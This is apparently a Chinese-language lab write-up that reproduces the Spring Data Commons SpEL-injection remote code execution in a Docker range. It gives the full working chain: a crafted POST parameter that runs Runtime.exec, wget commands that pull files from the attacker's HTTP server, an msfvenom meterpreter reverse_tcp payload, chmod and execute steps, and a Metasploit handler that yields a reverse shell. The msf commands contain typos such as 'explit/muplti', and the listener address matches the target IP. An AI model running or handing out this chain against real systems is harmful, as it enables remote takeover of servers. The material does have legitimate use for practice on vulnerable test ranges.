1.环境开启
开启靶场
docker-compose up -d
2.影响版本
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5 (Kay SR5)
3.漏洞复现
使用浏览器访问靶场
http://192.168.200.157:8080/
使用dirsearch工具进行目录扫描
dirsearch -u http://192.168.200.157:8080/
使用浏览器访问users,并输入随便东西
http://192.168.200.157:8080/users
使用burp抓包,点击注册
发到重发器,并修改post传参
在kali上使用vim新建测试txt文件
vim text.txt
使用python3开启临时http
python3 -m http.server 8000
修改post传参
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('wget http://攻击机IP地址:8000/text.txt')")]=asdf
返回200,上传txt文件成功
使用msf生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.200.157 lport=6666 -f elf -o shell
修改paylaod,上传木马
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('wget http://192.168.200.157:8000/shell')")]=asdf
返回200,上传成功
修改payload,提升木马权限
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('chmod 777 shell')")]=asdf
使用msf开启监听
msfdb init && msfconsole
use explit/muplti/handler
set payload /linux/x64/meterpreter/reverse_tcp
set lhost 192.168.200.157
set lport 6666
run
修改payload,让靶机执行木马
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('./shell')")]=asdf
执行成功,返回靶机shell